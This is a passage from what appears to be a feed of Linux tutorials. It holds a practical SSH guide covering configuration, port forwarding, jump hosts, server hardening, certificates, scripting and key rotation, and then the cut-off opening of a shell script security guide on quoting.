defaults, under <code>Host *</code>, at the end.</p>\n<pre><code class=\"language-text\">Host web\n    HostName web01.internal.example.org\n    User deploy\n    Port 2222\n    IdentityFile ~/.ssh/id_ed25519\n    IdentitiesOnly yes\n\nHost *.example.org\n    User admin\n    ServerAliveInterval 30\n\nHost *\n    AddKeysToAgent yes\n    HashKnownHosts yes\n</code></pre>\n<p>With this file, <code>ssh web</code> runs the equivalent of <code>ssh -p 2222 -i ~/.ssh/id_ed25519 deploy@web01.internal.example.org</code>. <code>IdentitiesOnly yes</code> tells the client to offer only the named key, not every key in the agent, which avoids \"too many authentication failures\" when the agent holds many keys and the server counts each attempt. Use <code>ssh -G web</code> to print the options that will apply to a host after all blocks are merged; it is the fastest way to see why a setting is not what you expected. The reference is <a href=\"https://man.openbsd.org/ssh_config\">ssh_config(5)</a>.</p>\n\n<h2>Running a command and passing arguments</h2>\n<p>Anything after the host is a command to run on the remote side. SSH joins the arguments with spaces and hands the string to the remote user's login shell, which parses it again. That second parse is the source of the most common SSH scripting bug: quoting is applied twice, once by your local shell and once by the remote one.</p>\n<pre><code class=\"language-bash\">ssh web 'uptime -p'\nssh web \"ls /var/log | wc -l\"\nssh web ls -d /srv/*          # glob expanded locally, not on web\nssh web 'ls -d /srv/*'        # glob expanded on web\nfile=\"my report.txt\"\nssh web \"rm -- $file\"                    # splits on the remote side\nssh web \"rm -- $(printf '%q' \"$file\")\"   # quoted for the remote shell\n</code></pre>\n<p>Single quotes keep your local shell from expanding anything, and the remote shell then does it. Double quotes expand variables locally, which is right for passing values in but wrong for remote variables and globs. For data from variables, <code>printf '%q'</code> produces a form that the remote Bash will parse back to the original string. A cleaner way to send structured work is to pipe a script to a remote shell, <code>ssh web 'bash -s' -- arg1 arg2 &lt; local-script.sh</code>, so that the script text is not parsed as a command line at all.</p>\n\n<h2>Copy files: scp, sftp and rsync</h2>\n<p><code>scp</code> copies files with the syntax of <code>cp</code>. Since OpenSSH 9.0 it uses the SFTP protocol internally by default, which fixed long-standing quoting problems with remote paths. <code>sftp</code> gives an interactive session. <code>rsync -e ssh</code> transfers only differences, preserves attributes, resumes and deletes extra files on request, which makes it the better tool for anything repeated or large.</p>\n<pre><code class=\"language-bash\">scp report.pdf web:/srv/reports/\nscp -r web:/var/log/app ./logs\nrsync -avz --partial --progress ./site/ web:/srv/site/\nrsync -avz --delete --dry-run ./site/ web:/srv/site/\n</code></pre>\n<p>The trailing slash on the source in rsync matters: <code>site/</code> copies the contents, while <code>site</code> copies the directory itself into the destination. Always run the first <code>--delete</code> transfer with <code>--dry-run</code>, since a wrong destination path with delete removes real files. For one-off large copies over a flaky link, rsync's <code>--partial</code> keeps what arrived so a retry resumes. To copy between two remote hosts, scp's <code>-3</code> routes traffic through your machine, which avoids needing a trust relationship between the servers.</p>\n\n<h2>Local port forwarding</h2>\n<p>Port forwarding carries other protocols through the encrypted channel. A local forward, <code>-L</code>, listens on a port on your machine and delivers connections to a destination as seen from the SSH server. It is how you reach a database or an admin page that is only listening on a private network.</p>\n<pre><code class=\"language-bash\">ssh -N -L 5433:db.internal:5432 bastion\npsql -h 127.0.0.1 -p 5433 -U app appdb\n</code></pre>\n<p>The forward binds to the loopback address by default, so only processes on your own machine can use it. The target <code>db.internal:5432</code> is resolved and connected from the bastion, which is why a private name works. <code>-N</code> means no remote command, which is right for a forward-only session, and <code>-f</code> sends it to the background after authentication. Binding to <code>0.0.0.0</code> with <code>-L 0.0.0.0:5433:...</code> exposes the tunnel to your whole network and is rarely what you want; the server must also allow it with <code>GatewayPorts</code>, and the client setting applies only when the server permits.</p>\n\n<h2>Remote port forwarding</h2>\n<p>A remote forward, <code>-R</code>, listens on a port on the SSH server and sends connections back through the tunnel to a destination reachable from your machine. It is how you expose a local development server to a colleague through a shared host, or reach a machine behind NAT from a server with a public address.</p>\n<pre><code class=\"language-bash\">ssh -N -R 8080:localhost:3000 public.example.org\nssh -N -R 2222:localhost:22 public.example.org\n</code></pre>\n<p>The second line makes the laptop's SSH port reachable as port 2222 on the public host, so from there <code>ssh -p 2222 localhost</code> reaches the laptop. By default the remote end listens on loopback only. To accept connections from other machines the server needs <code>GatewayPorts yes</code> or <code>clientspecified</code>, and you should think hard before turning that on. A remote forward is also a way for a compromised or careless user to open a path into a protected network, which is why hardened servers set <code>AllowTcpForwarding no</code> for accounts that do not need it.</p>\n\n<h2>Dynamic forwarding as a SOCKS proxy</h2>\n<p><code>-D</code> turns the SSH connection into a SOCKS proxy. Applications that speak SOCKS5 send their traffic through the tunnel, and the remote host makes each connection. Browsers and <code>curl</code> support it.</p>\n<pre><code class=\"language-bash\">ssh -N -D 1080 bastion\ncurl --socks5-hostname 127.0.0.1:1080 http://intranet.internal/health\n</code></pre>\n<p>Use <code>--socks5-hostname</code> and not <code>--socks5</code> so the name is resolved on the far side of the tunnel; otherwise your machine tries to resolve a private name and fails or, worse, leaks the lookup. A SOCKS tunnel is a flexible way to reach many internal services without writing a forward for each, and equally a way to give any application on your laptop the bastion's network position, so keep it bound to loopback and close it when finished.</p>\n\n<h2>Jump hosts with ProxyJump</h2>\n<p>A bastion, or jump host, is a hardened machine that is the single entry point to a private network. <code>ProxyJump</code> (the <code>-J</code> flag) connects to the bastion first and then opens the connection to the target through it. The second connection is a separate end-to-end encrypted session from your client to the target: the bastion forwards bytes and never sees the plaintext, and your keys never have to be on it.</p>\n<pre><code class=\"language-text\">Host bastion\n    HostName bastion.example.org\n    User admin\n\nHost db01\n    HostName 10.0.4.21\n    User dba\n    ProxyJump bastion\n</code></pre>\n<pre><code class=\"language-bash\">ssh db01\nssh -J admin@bastion.example.org dba@10.0.4.21\nscp -J bastion backup.sql dba@10.0.4.21:/tmp/\n</code></pre>\n<p>ProxyJump replaces the older pattern of <code>ProxyCommand ssh -W %h:%p bastion</code> and the dangerous habit of agent forwarding to the bastion. Chains work too: <code>-J first,second</code>. Everything that takes an SSH target, including scp, rsync with <code>-e ssh</code>, and Git over SSH, goes through the jump when the config block says so. Keep authentication per hop in mind: each hop uses the identity configured for it, so an <code>IdentityFile</code> set on <code>Host *</code> will be offered to every one.</p>\n\n<h2>Agent forwarding and why to avoid it</h2>\n<p>Agent forwarding, <code>-A</code> or <code>ForwardAgent yes</code>, lets processes on the remote host use your local agent. It is convenient for hopping onward from a server, and risky: root on that server, or anyone who can read the agent's socket, can ask your agent to sign authentication requests for as long as the connection lasts. They cannot copy the key, but they can log in as you wherever the key is accepted. If you need to reach a second machine through the first, use <code>ProxyJump</code> instead, which does not expose the agent at all.</p>\n<pre><code class=\"language-text\"># Dangerous default\nHost *\n    ForwardAgent yes\n\n# Safer: forward only to a host you control and trust\nHost trusted-build\n    ForwardAgent yes\n</code></pre>\n<p>If you must forward, forward narrowly, set a lifetime on the key with <code>ssh-add -t</code> and consider <code>ssh-add -c</code>, which asks for confirmation on each use. With FIDO2 keys the touch requirement limits abuse to the moments you are present. Git hosting is a common reason people forward the agent; a deploy key or a short-lived token on the build host is a safer pattern than lending your identity.</p>\n\n<h2>Connection multiplexing and keepalives</h2>\n<p>Each new SSH connection pays for a TCP handshake, key exchange and authentication, which adds up when a script makes dozens of calls or when you repeatedly use <code>scp</code> and <code>ssh</code> against one host. Multiplexing shares one authenticated connection among later sessions. The first connection becomes a master and creates a control socket, and later ones attach to it almost instantly.</p>\n<pre><code class=\"language-text\">Host *\n    ControlMaster auto\n    ControlPath ~/.ssh/cm-%C\n    ControlPersist 10m\n    ServerAliveInterval 30\n    ServerAliveCountMax 3\n</code></pre>\n<pre><code class=\"language-bash\">ssh -O check web\nssh -O exit web\n</code></pre>\n<p>With <code>ControlPersist 10m</code> the master stays alive for ten minutes after the last session, so a second command a minute later connects in milliseconds. <code>%C</code> hashes the connection parameters into a short, fixed-length socket name, which avoids the path length limit of Unix sockets. The keepalive options send a message every 30 seconds and give up after three misses, which keeps NAT devices from dropping an idle connection and tells you quickly when a link has died. A multiplexed session shares the master's authentication, so a stale master after a network change shows up as a hang; <code>ssh -O exit</code> clears it.</p>\n\n<h2>Harden the server: sshd_config</h2>\n<p>The server's behavior is set in <code>/etc/ssh/sshd_config</code> and files under <code>/etc/ssh/sshd_config.d/</code>. A few settings remove most of the risk of an internet-facing SSH port. Turn off password authentication, so there is nothing to guess. Turn off root login, so an attacker must also know a real username and then escalate. Limit the users who may log in at all. Reduce the window for unauthenticated connections.</p>\n<pre><code class=\"language-text\"># /etc/ssh/sshd_config.d/10-hardening.conf\nPermitRootLogin no\nPasswordAuthentication no\nKbdInteractiveAuthentication no\nPubkeyAuthentication yes\nAuthenticationMethods publickey\nAllowUsers deploy admin\nMaxAuthTries 3\nLoginGraceTime 20\nClientAliveInterval 300\nClientAliveCountMax 2\nX11Forwarding no\nAllowAgentForwarding no\n</code></pre>\n<p>On Debian 12 the main file contains <code>Include /etc/ssh/sshd_config.d/*.conf</code> near the top, and for most options the first value read wins, so a drop-in that sorts before other files takes precedence; naming it with a low number, as above, matters. Check what the server will actually use with <code>sudo sshd -T</code>, which prints the effective configuration after all includes and <code>Match</code> blocks. The meaning of each keyword is in <a href=\"https://man.openbsd.org/sshd_config\">sshd_config(5)</a>, and <a href=\"https://www.cisecurity.org/benchmark/distribution_independent_linux\">published benchmarks</a> list further settings.</p>\n\n<h2>Apply changes without locking yourself out</h2>\n<p>A mistake in <code>sshd_config</code> can lock you out of a remote machine, so use a routine that cannot fail silently. Validate the syntax first with <code>sshd -t</code>, which prints nothing if the file is fine. Reload, not restart, so existing sessions survive. Then open a second session, and only close the first when the new one works. Keep a recovery path outside SSH, such as a cloud console or a hypervisor shell, before touching the settings on a remote host.</p>\n<pre><code class=\"language-bash\">sudo sshd -t &amp;&amp; echo \"config ok\"\nsudo systemctl reload ssh\nssh -o PreferredAuthentications=publickey -o PasswordAuthentication=no deploy@server.example.org true\nsudo sshd -T | grep -Ei 'permitrootlogin|passwordauthentication|allowusers'\n</code></pre>\n<pre><code class=\"language-text\">config ok\npermitrootlogin no\npasswordauthentication no\nallowusers deploy admin\n</code></pre>\n<p>The unit is called <code>ssh</code> on Debian and Ubuntu and <code>sshd</code> on Fedora and RHEL. The test connection forces public key authentication and disables passwords, so a success proves the key path works and does not depend on a fallback you are about to remove. If a change goes wrong and you hold an open session, you can still fix it, because reloading never kills established connections.</p>\n\n<h2>Change the port, rate-limit and ban</h2>\n<p>Moving SSH off port 22 reduces log noise from automated scanners but does not make a weak configuration secure; it is obscurity, not protection, so do it after the real measures. A firewall rule that allows port 22 only from known addresses is much stronger. For hosts that must be reachable from anywhere, rate limiting and automatic bans add a layer: <code>fail2ban</code> watches the auth log and adds firewall rules for addresses with repeated failures, and <code>nftables</code> or <code>ufw</code> can rate-limit new connections to the port.</p>\n<pre><code class=\"language-bash\">sudo ufw limit 22/tcp\nsudo fail2ban-client status sshd\nsudo journalctl -u ssh --since '1 hour ago' | grep -c 'Failed'\n</code></pre>\n<p>With password login off, failed attempts cost only log lines and CPU, since a guess cannot succeed, so the main value of banning is cleaner logs and a signal for alerts. The greater risk becomes a stolen key, which is why passphrases, short-lived certificates and the revocation of old keys matter more than the port number.</p>\n\n<h2>Restrict what a key can do</h2>\n<p>Each line of <code>authorized_keys</code> can carry options before the key. They limit what that key may do, so a key used by an automated job cannot be turned into a general login. <code>command=\"...\"</code> forces a specific command regardless of what the client asked for. <code>from=\"...\"</code> limits source addresses. <code>restrict</code> disables forwarding, PTY allocation and more in one word, and further options re-enable only what you list. <code>no-port-forwarding</code> and friends are the older individual switches.</p>\n<pre><code class=\"language-text\">restrict,from=\"203.0.113.0/24\",command=\"/usr/local/bin/backup-receiver\" ssh-ed25519 AAAAC3Nza... backup@host\n</code></pre>\n<p>This key can be used only from one network, can run only the receiver script, and gets no shell, no forwarding and no terminal. Inside the forced command, the original request is available in <code>$SSH_ORIGINAL_COMMAND</code>, which a script can validate against an allow-list; never pass it straight to a shell. Treat the forced command as the security boundary and write it as carefully as a network service, as discussed in <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>SSH certificates</h2>\n<p>Past a handful of servers and users, managing <code>authorized_keys</code> files and <code>known_hosts</code> entries becomes the work. SSH certificates replace both with a certificate authority. You create a CA key, sign user public keys into short-lived certificates with an identity and principals, and servers trust the CA instead of individual keys. Likewise, the CA signs each server's host key, and clients trust the CA for hosts, which removes the first-connection prompt entirely.</p>\n<pre><code class=\"language-bash\">ssh-keygen -t ed25519 -f ca_user -C \"user CA\"\nssh-keygen -s ca_user -I alice@example.org -n deploy -V +8h ~/.ssh/id_ed25519.pub\nssh-keygen -L -f ~/.ssh/id_ed25519-cert.pub\n</code></pre>\n<pre><code class=\"language-text\">        Type: ssh-ed25519-cert-v01@openssh.com user certificate\n        Key ID: \"alice@example.org\"\n        Valid: from 2026-11-05T09:00:00 to 2026-11-05T17:00:00\n        Principals:\n                deploy\n</code></pre>\n<p>On the server, <code>TrustedUserCAKeys /etc/ssh/ca_user.pub</code> in <code>sshd_config</code> makes it accept any certificate signed by that CA whose principal matches the login. A certificate that expires in eight hours needs no revocation list in practice, which is its great advantage over a key that lives for years. The CA key becomes the crown jewel and belongs on an offline machine or behind a signing service. The design is documented in the CERTIFICATES section of <a href=\"https://man.openbsd.org/ssh-keygen\">ssh-keygen(1)</a>.</p>\n\n<h2>Script SSH safely</h2>\n<p>Scripts need SSH to fail, not to prompt. The option set that does this is <code>BatchMode=yes</code>, which disables every prompt, with <code>ConnectTimeout</code> so an unreachable host does not hang the run, and <code>StrictHostKeyChecking accept-new</code> or a pre-populated known_hosts.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nopts=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)\n\nwhile IFS= read -r host; do\n  [[ -z $host || $host == \\#* ]] &amp;&amp; continue\n  if out=$(ssh -n \"${opts[@]}\" \"$host\" 'uptime -p' 2&gt;&amp;1); then\n    printf '%-20s %s\\n' \"$host\" \"$out\"\n  else\n    printf '%-20s FAILED: %s\\n' \"$host\" \"$out\" &gt;&amp;2\n  fi\ndone &lt; hosts.txt\n</code></pre>\n<pre><code class=\"language-text\">web01                up 12 days, 3 hours\nweb02                up 12 days, 3 hours\ndb01                 FAILED: ssh: connect to host db01 port 22: Connection timed out\n</code></pre>\n<p>The <code>-n</code> flag is essential inside a <code>while read</code> loop. Without it, ssh reads from standard input, which is the host list, and swallows the rest of the file, so the loop runs for the first host only. That one-host-then-stop symptom is a classic. The options are kept in an array so each stays a separate word, and the failure of one host is reported without stopping the others.</p>\n\n<h2>Run a script remotely</h2>\n<p>To run more than one command, send a script on standard input to a remote shell. This avoids layered quoting, because the script is data. Pass arguments after <code>-s --</code>. Use a quoted here document so the local shell does not expand variables you meant for the remote one.</p>\n<pre><code class=\"language-bash\">ssh web 'bash -s' -- /srv/app &lt;&lt;'EOF'\nset -euo pipefail\ndir=\"$1\"\ncd \"$dir\"\ngit rev-parse --short HEAD\nsystemctl is-active app.service\nEOF\n</code></pre>\n<pre><code class=\"language-text\">3f9a2c1\nactive\n</code></pre>\n<p>Because the delimiter is quoted, <code>$1</code> and <code>$dir</code> reach the remote shell untouched. With an unquoted delimiter, your local shell would expand them first and they would be empty. Allocate a terminal with <code>-t</code> only when the remote command needs one, such as <code>sudo</code> prompting for a password or a curses program; in a script a pseudo-terminal merges standard error into standard output and mangles line endings.</p>\n\n<h2>Parallel runs and fleet commands</h2>\n<p>To run a command on many hosts, combine <code>xargs -P</code> with the batch-safe options and capture each host's output separately, so a failure on one is attributable. Tools such as Ansible and pdsh exist for this at scale, and SSH multiplexing keeps the per-host cost low in a short script.</p>\n<pre><code class=\"language-bash\">printf '%s\\n' web01 web02 web03 db01 |\n  xargs -P4 -I{} sh -c 'ssh -n -o BatchMode=yes -o ConnectTimeout=8 {} \"df -h / | tail -1\" &gt; \"out.{}\" 2&gt;&amp;1 || echo \"{} failed\" &gt;&amp;2'\ncat out.web01 out.web02\n</code></pre>\n<p>A limit of four at a time keeps the control machine and the network calm, and keeps output from interleaving. When you reach the point of needing inventory, retries, idempotent changes and reports, adopt a configuration management tool and stop growing the shell version. The same applies to credentials: a loop that reaches every server with one key makes that key a skeleton key, which is a case for per-user certificates with short lifetimes.</p>\n\n<h2>Keep sessions alive with tmux</h2>\n<p>An SSH session dies when the connection does, and takes its processes with it. For long work, start <code>tmux</code> on the server and reattach after a drop. The session survives disconnects, and you can resume from a different machine.</p>\n<pre><code class=\"language-bash\">ssh web -t 'tmux new -A -s main'\n</code></pre>\n<p><code>new -A -s main</code> attaches to a session named main if it exists and creates it if not, so the same command works every time. Add <code>ServerAliveInterval</code> on the client to detect dead links and avoid a frozen terminal; to escape a hung session press Enter, then <code>~</code> and <code>.</code> (the escape sequence), which closes the connection without waiting. Mosh is an alternative for roaming and high-latency links, using UDP after an SSH handshake, though it needs its own server component and open ports.</p>\n\n<h2>Troubleshoot a failing connection</h2>\n<p>Work from the client outwards. Verbose output shows each step; add more <code>v</code> for more detail. Read the config the client will really use with <code>ssh -G host</code>. Then read the server's log, because the server knows why it rejected you and tells only its log, not the client.</p>\n<pre><code class=\"language-bash\">ssh -vvv deploy@server.example.org 2&gt;&amp;1 | grep -Ei 'offering|authentications|permission|denied|identity'\nssh -G web | grep -Ei '^(hostname|user|port|identityfile|proxyjump)'\nsudo journalctl -u ssh -n 30 --no-pager\nsudo sshd -ddd -p 2222\n</code></pre>\n<pre><code class=\"language-text\">debug1: Offering public key: /home/dev/.ssh/id_ed25519 ED25519 SHA256:Qm2...\ndebug1: Authentications that can continue: publickey\nPermission denied (publickey).\n</code></pre>\n<p>The common causes, in rough order of frequency: wrong permissions on the server's <code>.ssh</code> files or home directory; the key not in <code>authorized_keys</code> or a different key offered than expected, which <code>IdentitiesOnly</code> and <code>-i</code> resolve; the server refusing the user through <code>AllowUsers</code> or <code>DenyUsers</code>; password login disabled before keys worked; a changed host key; a firewall or security group dropping the port; and the account being locked. A temporary second <code>sshd -ddd -p 2222</code> on an alternate port runs in the foreground with full debugging and lets you test without touching the live daemon.</p>\n\n<h2>Common mistakes and their fixes</h2>\n<ul>\n<li><strong>No passphrase on the private key.</strong> Add one with <code>ssh-keygen -p</code>, and use an agent.</li>\n<li><strong>Agent forwarding to every host.</strong> Use <code>ProxyJump</code> and forward only to hosts you control.</li>\n<li><strong>Disabling host key checking in scripts.</strong> Use <code>accept-new</code> or ship known_hosts.</li>\n<li><strong>Locking yourself out.</strong> Run <code>sshd -t</code>, reload, and test in a second session.</li>\n<li><strong>Pasting a key with a line break.</strong> A public key is one line; verify with <code>ssh-keygen -lf</code>.</li>\n<li><strong><code>ssh</code> inside a loop eating the input.</strong> Add <code>-n</code>.</li>\n<li><strong>Double-quoting problems in remote commands.</strong> Use single quotes, <code>printf '%q'</code> or a script on standard input.</li>\n<li><strong>A loose home directory.</strong> Remove group and world write permission.</li>\n<li><strong>Using one key everywhere.</strong> One key per device and per purpose, rotated when a device is lost.</li>\n<li><strong>Treating a changed-host-key warning as noise.</strong> Find out why it changed.</li>\n</ul>\n<p>Almost all are a variant of one problem: SSH trusts the file system and the shell, so anything loose in either becomes an authentication or injection gap.</p>\n\n<h2>Rotate and revoke keys</h2>\n<p>Keys outlive the people and laptops they were made for, so plan their end from the start. Keep a record of which public key belongs to which person and device, using the comment field as a label. When a device is lost or someone leaves, remove their line from every <code>authorized_keys</code> file they were in. On a fleet that is where a central source of truth pays off: if the files are generated from one repository, revocation is a commit and a deploy. For a key that must be rejected everywhere at once, even if it is still listed, point <code>RevokedKeys</code> in <code>sshd_config</code> at a file of revoked public keys, and build that file with <code>ssh-keygen -k</code>. Certificates make this largely unnecessary, because a short lifetime does the revoking for you.</p>\n<pre><code class=\"language-bash\">ssh-keygen -lf ~/.ssh/authorized_keys\nawk '{print $NF}' ~/.ssh/authorized_keys\ngrep -c '^ssh-' ~/.ssh/authorized_keys\n</code></pre>\n<p>Periodically audit what is authorized. A list of public keys with unfamiliar comments or a key nobody can account for is an incident to look into, not clutter to ignore. Rotation of your own key is equally routine: generate a new key, install it everywhere, test it, remove the old one, and delete the old private file. Do this on a schedule, such as yearly, and after any suspected exposure.</p>\n\n<h2>Git over SSH and deploy keys</h2>\n<p>Git hosting services accept SSH keys for pushes and pulls, and the same config file rules apply. If you use several accounts on one host, give each its own key and a distinct <code>Host</code> alias, then use the alias in the remote URL. A deploy key is a key attached to a single repository, usually read-only, which suits CI servers and production hosts that must pull code but should not be able to read anything else.</p>\n<pre><code class=\"language-text\">Host github-work\n    HostName github.com\n    User git\n    IdentityFile ~/.ssh/id_work\n    IdentitiesOnly yes\n</code></pre>\n<pre><code class=\"language-bash\">git clone git@github-work:acme/tools.git\nssh -T git@github-work\n</code></pre>\n<p>The <code>IdentitiesOnly</code> line matters here: without it the client offers every agent key in turn, and the host may authenticate you as the wrong account on the first one it recognises. Create deploy keys without a passphrase only when the host stores them with the same care as any other secret, restricts them to read access and logs their use. Any key without a passphrase is a bearer credential, so its file permissions and the machine's own security are all that protect it.</p>\n\n<h2>Log and audit SSH use</h2>\n<p>The server logs authentication events to the journal or <code>/var/log/auth.log</code>. The default <code>LogLevel INFO</code> records who logged in and from where; <code>VERBOSE</code> also records the fingerprint of the key used, which is how you tell which of a user's several keys was used and trace a login to a specific device. Turn it on for any host that matters.</p>\n<pre><code class=\"language-text\">LogLevel VERBOSE\n</code></pre>\n<pre><code class=\"language-bash\">sudo journalctl -u ssh --since today | grep -E 'Accepted|Failed|Invalid user'\nlast -n 10\nlastb -n 10\nwho -u\n</code></pre>\n<pre><code class=\"language-text\">Nov 05 10:12:44 server01 sshd[2211]: Accepted publickey for deploy from 203.0.113.9 port 51522 ssh2: ED25519 SHA256:Qm2...tX0\n</code></pre>\n<p>Forward these logs off the host, so an attacker who gains access cannot erase them, and alert on patterns that matter: a login from an unexpected country, a root attempt, a burst of failures followed by a success. For a stronger record, <code>auditd</code> rules or session recording tools capture commands, with the privacy implications that carries. Decide what you record and who may read it before you start.</p>\n\n<h2>Restrict file transfer accounts</h2>\n<p>Some accounts exist only to exchange files. Give them SFTP and nothing else, confined to a directory. In <code>sshd_config</code> a <code>Match</code> block applies settings to a group, using the built-in SFTP server and a chroot.</p>\n<pre><code class=\"language-text\">Match Group sftponly\n    ChrootDirectory /srv/sftp/%u\n    ForceCommand internal-sftp\n    AllowTcpForwarding no\n    X11Forwarding no\n    PermitTTY no\n</code></pre>\n<p>The chroot directory and each directory above it must be owned by root and not writable by anyone else, or sshd refuses the connection with a fatal error about bad ownership. Create a subdirectory inside it that the user owns for uploads. This is the most common stumbling block for the setup, and the log line states it precisely: \"bad ownership or modes for chroot directory\". The user has no shell, cannot reach the rest of the filesystem and cannot forward ports, so a leaked credential exposes one directory.</p>\n\n<h2>Check cipher and algorithm choices</h2>\n<p>Modern OpenSSH defaults are sound, and the best approach is to keep the software updated rather than to hand-pick algorithms. You can still inspect what your client and server support and see what a connection negotiated. <code>ssh -Q</code> lists supported algorithms by type, <code>sshd -T</code> shows the server's effective lists and <code>ssh -vv</code> prints the negotiated ones. Remove legacy options only when you have checked that no client you need depends on them.</p>\n<pre><code class=\"language-bash\">ssh -Q kex | head -5\nssh -Q cipher | head -5\nssh -vv web true 2&gt;&amp;1 | grep -E 'kex: (algorithm|host key)|cipher:'\n</code></pre>\n<p>A hand-written <code>Ciphers</code> or <code>KexAlgorithms</code> list freezes today's judgement into config, and if a listed algorithm is later removed from the software, sshd refuses to start. Prefer the <code>+</code> and <code>-</code> prefix forms, such as <code>KexAlgorithms -diffie-hellman-group14-sha1</code>, which remove one choice from the default list and keep the rest current. Post-quantum key exchange became the default in OpenSSH 9.0 with <code>sntrup761x25519-sha512@openssh.com</code>, so keeping the software current brings protections that a frozen list would miss.</p>\n\n<h2>Mount a remote directory and use SSH as a pipe</h2>\n<p>Two more uses are worth knowing. <code>sshfs</code> mounts a remote directory through SFTP, which is convenient for editing files with local tools, though not fast and not suited to heavy disk traffic. And SSH carries any byte stream, so you can pipe data across hosts without temporary files: tar on one end and tar on the other, or a database dump piped straight into a restore.</p>\n<pre><code class=\"language-bash\">mkdir -p ~/mnt/web &amp;&amp; sshfs web:/srv/site ~/mnt/web\nfusermount3 -u ~/mnt/web\ntar -czf - /srv/site | ssh backup 'cat &gt; /backups/site.tgz'\nssh web 'pg_dump appdb | gzip' &gt; appdb.sql.gz\n</code></pre>\n<p>With the last form the compressed dump is produced on the server and streamed to a local file, never written to the server's disk. The pipeline's exit status is that of the last command, so a failed <code>pg_dump</code> on the far side is invisible locally; check the size of the result, or run the remote side under <code>set -o pipefail</code> by wrapping it in <code>bash -c</code>, before trusting such a backup.</p>\n\n<h2>A short checklist for a new server</h2>\n<p>When a new machine comes up, a fixed sequence turns the defaults into a hardened setup in about ten minutes, and doing it the same way each time is what makes it reliable. First, log in with the provider's key and create a named admin user with sudo rights. Second, install your public key for that user and confirm that you can log in as them in a second terminal. Third, write the hardening drop-in shown above, run <code>sshd -t</code>, reload, and confirm again from a third terminal that key login still works and password login is refused. Fourth, restrict the firewall so that SSH is reachable only from the networks that need it. Fifth, enable automatic security updates, since the SSH daemon is the most exposed service on the host. Sixth, note the host key fingerprint where your team can find it, so that the next person connecting can compare it.</p>\n<p>Each step is small, and the order matters: never remove the old way in until the new one is proven. The same checklist works as a script run by your provisioning tool, with the verification steps as assertions, and keeping it in version control makes the baseline reviewable.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>Large organizations.</strong> Hand-managed keys do not scale to hundreds of engineers and thousands of hosts. Use certificates with short lifetimes and an identity provider, or a managed access broker, and audit sessions centrally.</p>\n<p><strong>Windows clients.</strong> Windows 10 and 11 ship an OpenSSH client and the agent runs as a service, but paths, permissions and the config location differ. PuTTY uses its own key format.</p>\n<p><strong>Containers.</strong> Running sshd inside a container to get a shell is almost always wrong. Use the orchestrator's exec facility, <code>docker exec</code> or <code>kubectl exec</code>, so there is no extra daemon, key or open port to maintain.</p>\n<p><strong>Untrusted jump hosts.</strong> ProxyJump protects the plaintext from the bastion, but a hostile bastion can still drop or delay traffic, and it learns who connects where. Trust it as you would any network device.</p>\n<p><strong>Very old servers.</strong> Legacy devices may only offer algorithms current clients disable, such as <code>ssh-rsa</code> signatures with SHA-1. Enable the old option for that one host in the config, and plan its replacement; do not lower the default for everything.</p>\n\n<h2>What to read next</h2>\n<p>SSH is the transport for many jobs that you then want to run unattended, so continue to <a href=\"/library/automate-tasks-cron-systemd\">the guide to cron and systemd timers</a>, and to make the scripts that use it safe, <a href=\"/library/shell-script-security\">the shell script security guide</a>. For the commands you will run once connected, see <a href=\"/library/linux-command-line-guide\">the Linux command line guide</a>, and when a remote script misbehaves, <a href=\"/library/debugging-shell-scripts\">the debugging guide</a>.</p>\n<p>Primary sources used here: <a href=\"https://www.rfc-editor.org/rfc/rfc4251\">RFC 4251, the SSH architecture</a>, <a href=\"https://www.rfc-editor.org/rfc/rfc4252\">RFC 4252, SSH authentication</a>, <a href=\"https://www.rfc-editor.org/rfc/rfc4254\">RFC 4254, the connection protocol</a>, <a href=\"https://man.openbsd.org/ssh\">ssh(1)</a>, <a href=\"https://man.openbsd.org/ssh_config\">ssh_config(5)</a>, <a href=\"https://man.openbsd.org/sshd_config\">sshd_config(5)</a>, <a href=\"https://man.openbsd.org/ssh-keygen\">ssh-keygen(1)</a>, <a href=\"https://man.openbsd.org/ssh-agent\">ssh-agent(1)</a>, <a href=\"https://man.openbsd.org/scp\">scp(1)</a>, the <a href=\"https://www.openssh.com/releasenotes.html\">OpenSSH release notes</a> and the <a href=\"https://www.openssh.com/txt/release-9.0\">OpenSSH 9.0 notes on scp using SFTP</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["SSH and Networking"]},{"id":"https://shellhacks.dev/library/shell-script-security","url":"https://shellhacks.dev/library/shell-script-security","title":"Shell Script Security From Quoting to Least Privilege","summary":"A practical shell script security guide: quoting, option injection, eval, temp files, PATH, secrets, sudo and least privilege, with attacks run and fixed.","content_html":"<p>A shell script is a program written in a language that mixes code and data in one string, and every security flaw in one follows from that. The shell takes text, splits it, expands it, and runs the result, so any text that an attacker can influence, such as a file name, a form field, an environment variable or a line from a log, can become a command or an option unless the script prevents it. This guide walks through the ways that happens, shows each attack run on Bash 5.2.15 in a clean Debian 12 container, and gives the fix. It ends with sudo and least privilege, the design side of the problem. It assumes you write scripts as in <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>.</p>\n<p>The aim is a working mental model. Once you can see where a script crosses from trusted text to untrusted text, most of the rules below follow without memorizing them: quote, delimit, validate, and keep privilege small.</p>\n\n<h2>The threat model for a script</h2>\n<p>Security is relative to a threat, so state yours. A script that backs up your own home directory, run by you, with no outside input, has little to defend. A script that runs as root from cron and processes files that users upload has a lot. The questions are who can influence the script's input, with what privileges does it run, and what is reachable from it. Input sources include arguments, environment variables, file contents, file names, the output of other commands, network responses and the current directory. Privileges include the user it runs as, the sudo rights it has, and the files and credentials it can read.</p>\n<p>The dangerous combination is untrusted input reaching a privileged script. Web request handlers written in shell, scripts run by administrators over user-supplied paths, CI jobs that process pull request titles, and root cron jobs that read files in world-writable directories are the usual places this appears. Where there is no boundary, spend your effort elsewhere. Where there is one, the rest of this guide applies line by line.</p>\n\n<h2>Quote everything</h2>\n<p>After expansion, an unquoted value is split into words on whitespace, and each word that contains a glob character is replaced with matching file names. Both transformations change a single piece of data into many arguments, and a value you did not choose can contain anything.</p>\n<pre><code class=\"language-bash\">f=\"my file.txt\"\ntouch \"$f\"\nrm $f\nrm -- \"$f\"\n</code></pre>\n<pre><code class=\"language-text\">rm: cannot remove 'my': No such file or directory\nrm: cannot remove 'file.txt': No such file or directory\n</code></pre>\n<p>That was the harmless 